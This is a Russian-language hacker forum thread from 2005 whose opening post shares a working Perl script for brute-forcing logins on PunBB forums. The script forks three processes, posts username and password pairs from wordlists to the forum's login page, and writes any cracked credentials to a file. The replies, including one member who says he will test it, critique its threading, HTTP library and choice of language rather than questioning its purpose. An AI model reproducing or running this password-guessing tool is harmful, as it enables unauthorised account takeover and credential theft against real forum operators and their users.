 |
23.08.2005, 20:12
|
|
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами:
10960226
Репутация:
1424
|
|
Брут на перле для punbb
брут идет в три потока, буду рад вашим коментам, исправлениям, критике
#########################################
PHP код:
#!/usr/bin/perl
use LWP;
unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
print("use punbb.pl http://site/forum/ userfile wordlist\n");
exit;};
$url=$ARGV[0];
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);
$userfile=$ARGV[1];
$file=$ARGV[2];
my ($pid,$pid2);
$|=1;
if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
elsif($pid && defined($pid2)){
brut(1,$userfile,$file,$url);
}
elsif(defined($pid)){
brut(2,$userfile,$file,$url);
}
else{
die("error fork()\n");
}
sub brut{
$str=shift;
$userfile=shift;
$file=shift;
$url=shift;
open(IN,"<$file") or die("can`t open wordlist\n");
my @arr=<IN>;
close(IN);
open(IN,"<$userfile");
my @ar=<IN>;
close(IN);
$q=$str*$#arr/3;
$q1=($str+1)*$#arr/3;
if($str==2){
splice(@arr,0,$q); }
elsif($str==1){
splice(@arr,0,$q);
splice(@arr,$q1,$#arr); }
elsif($str==0){
splice(@arr,$q1,$#arr); }
print "$str: wordlist loaded\n";
for(my $a=0 ; $a<=$#arr/3 ; $a++){
for($u=0;$u<=$#ar;$u++){
$user=$ar[$u];
$user=~s/\n$//g;
$pass=$arr[$a];
print $str.":".$pass;
$pass=~ s/\n$//;
$req = new HTTP::Request 'POST',$url.'login.php?action=in';
$data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login';
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$content=$res->content;
if($content=~ m/Logged in successfully/gi){
print "######################\n";
print "USER :$user\n"; print "PASS :$pass\n";
print "######################\n";
open(OUT,">>out-punbb.txt");
print OUT $user.":".$pass."\n";
close(OUT);
}}}}
Последний раз редактировалось ShAnKaR; 23.08.2005 в 23:04..
|
|
|
23.08.2005, 20:50
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
С нами:
11212166
Репутация:
182
|
|
Я из-за цветов код увидеть не могу...
|
|
|
|
24.08.2005, 04:15
|
|
Новичок
Регистрация: 17.08.2005
Сообщений: 16
С нами:
10911738
Репутация:
0
|
|
Сохранил.
Утром будет тестится.
|
|
|
|
24.08.2005, 05:05
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами:
11042306
Репутация:
2726
|
|
Вообще неплохо.
1) LWP лучше не использовать, вручную строить HTTP запрос
2)
if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
Очень неэстетично. Потоки (ну точнее процессы, пофигу) нужны для брута через прокси, иначе скорость практически не возрастет.
Однако перл ты знаешь хорошо...
3) перл бля этих делов не особо подходит, лучше просто писать для Unix на С, читай тему про мой брут для phpBB.
4) Смысл нулевой, как и от моего брута phpBB. Я невзлюбил phpBB а ты PunBB)) Ну что он тебе плохого сделал???)))))
Последний раз редактировалось KEZ; 24.08.2005 в 05:13..
|
|
|
|
24.08.2005, 08:59
|
|
Флудер
Регистрация: 12.08.2004
Сообщений: 3,791
С нами:
11444066
Репутация:
2290
|
|
1) Lwp лучше не использовать, вручную строить Http запрос
Вобще-то, именно Lwp следует использовать. Т.к. правило хорошого тона.
//отмазки типа "его может не быть" не пойдут, т.к. есть он в стандартной поставке.
3) перл бля этих делов не особо подходит
имхо он для этого идеален.
Приведи довод в опровержение, а? 
|
|
|
|
25.08.2005, 02:11
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами:
11042306
Репутация:
2726
|
|
Вашу мать,с кем я общаюсь? ))
Может вам обьяснить почему ненужно использовать Delphi?
Давайте тогда сразу будем все делать в виде .BAT файлов!
мхо он для этого идеален.
Приведи довод в опровержение, а?
А ты на перле видал pthread_ ? Думаю что нет. А ты в курсе как сделан fork() ?
А ты знаешь что перл не везде есть? А почему все что делается под линукс - делается ПРОСТО под gcc ? |
|
|
|
25.08.2005, 09:24
|
|
Флудер
Регистрация: 12.08.2004
Сообщений: 3,791
С нами:
11444066
Репутация:
2290
|
|
А ты знаешь что перл не везде есть?
ну вообще-то gcc есть еще реже
А почему все что делается под линукс - делается ПРОСТО под gcc ?
да-да-да, а FreeBSD сделана майкрософтом...
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
